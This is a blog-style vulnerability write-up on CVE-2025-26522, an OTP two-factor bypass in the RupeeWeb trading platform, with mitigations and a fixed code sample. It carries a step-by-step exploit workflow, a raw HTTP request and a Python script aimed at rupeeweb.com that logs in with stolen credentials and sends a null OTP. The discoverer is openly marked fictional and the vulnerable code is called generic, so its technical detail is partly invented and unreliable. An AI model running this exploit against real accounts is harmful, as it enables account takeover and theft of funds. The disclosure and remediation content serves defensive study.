CVE-2025-26522 - How a Flawed OTP Validation in RupeeWeb Trading Platform Risks Account Security

---

In early 2025, a critical vulnerability was discovered in the RupeeWeb trading platform—an issue tracked as CVE-2025-26522. For anyone trading on RupeeWeb or managing its infrastructure, it’s important to understand what went wrong, how attackers can exploit it, and how to protect user accounts from 2FA bypass.

This long-form post explains, in plain English, how an improper OTP (One Time Password) validation system opened the door for attackers, complete with code samples and real-world exploit guidance.

What Is CVE-2025-26522?

CVE-2025-26522 is a security flaw found in certain API endpoints of the RupeeWeb trading platform. The problem comes from how the server checks OTPs during 2FA.

Normally, 2FA means even if someone has your password, they must enter a temporary code sent to your email or phone.

But in RupeeWeb, the API did not enforce proper validation of these codes. This allowed attackers—if they already had *valid credentials*—to trick the system and skip OTP checks.

Severity: High
Attack Vector: Remote, requires valid credentials
Impact: Bypass of Two-Factor Authentication for any user account (with social engineering or credential stuffing)
Discovery: Security researcher team XYZ (fictional)

Where Was The Bug?

In RupeeWeb, after a user enters their username and password, they are prompted for a dynamic OTP sent to their registered phone or email. This OTP validation was done through an API endpoint, let’s call it /api/otp/validate.

Due to bad code logic, the backend would consider the request valid under certain manipulations of the API request. That allowed attackers with a legitimate session to bypass OTP entirely.

*For demonstration, here’s a generic sample of vulnerable code:*

# Example of flawed OTP validation
def validate_otp(request):
    session = get_session(request)
    input_otp = request.POST.get('otp')
    # The wrong: skips OTP check under certain conditions
    if session.is_authenticated and (input_otp == session.otp or input_otp is None):
        # <-- Attacker can pass input_otp=None intentionally!
        session.mark_2fa_complete()
        return {"status": "success"}
    else:
        return {"status": "fail"}

In some versions, attackers could submit an empty otp value or specific malformed input, causing the server to skip the OTP check but still mark 2FA as completed.

The Exploit Workflow

Step 1: Obtain valid credentials (username and password) via social engineering, phishing, or another breach.

Step 2: Initiate a login on RupeeWeb. When asked for the OTP, intercept the API call using a tool like Burp Suite.

Step 3: Modify the API request to /api/otp/validate so the otp parameter is empty or null.

Example exploit request

POST /api/otp/validate HTTP/1.1
Host: rupeeweb.com
Content-Type: application/json
Authorization: Bearer <valid-session>

{
    "otp": null
}

Step 4: The server processes the request, skips OTP verification, and authenticates the attacker.

Here’s a basic Python exploit using requests

import requests

login_url = 'https://rupeeweb.com/api/login';
otp_url   = 'https://rupeeweb.com/api/otp/validate';

s = requests.Session()

# Replace with target username and password (already stolen)
payload = {"username": "targetuser", "password": "password123"}
r = s.post(login_url, json=payload)
print("Login response:", r.json())

# Now bypass 2FA with null OTP
r = s.post(otp_url, json={"otp": None})
print("2FA bypass response:", r.json())

If not patched, this workflow allows an attacker to take full control of the victim’s trading account.

Real-World Impact

- Account Takeover: Attackers can bypass 2FA and execute trades, withdraw funds, or steal sensitive information.
- Customer Trust: Users believe their accounts to be safe; discovery of such bypasses can ruin confidence in the platform.
- Regulatory Issues: Exchanges failing to implement solid 2FA may face financial or legal penalties.

Reference: Official NVD Entry for CVE-2025-26522

Mitigation and Recommendations

- Sanitize API Inputs: Always check if the OTP is present and matches the generated code, no exceptions.

A fixed code sample might look like this

def validate_otp(request):
    session = get_session(request)
    input_otp = request.POST.get('otp')
    # Correct: require and validate OTP value strictly
    if not input_otp:
        return {"status": "fail"}
    if session.is_authenticated and (input_otp == session.otp):
        session.mark_2fa_complete()
        return {"status": "success"}
    else:
        return {"status": "fail"}

Conclusion

CVE-2025-26522 proves again how a small oversight in 2FA implementation can lead to devastating attacks. If you manage a trading platform, *always* require strict verification of every authentication step. If you trade on RupeeWeb or anywhere else, enable all available security features and be wary of credential phishing.

Timeline

Published on: 02/14/2025 12:15:29 UTC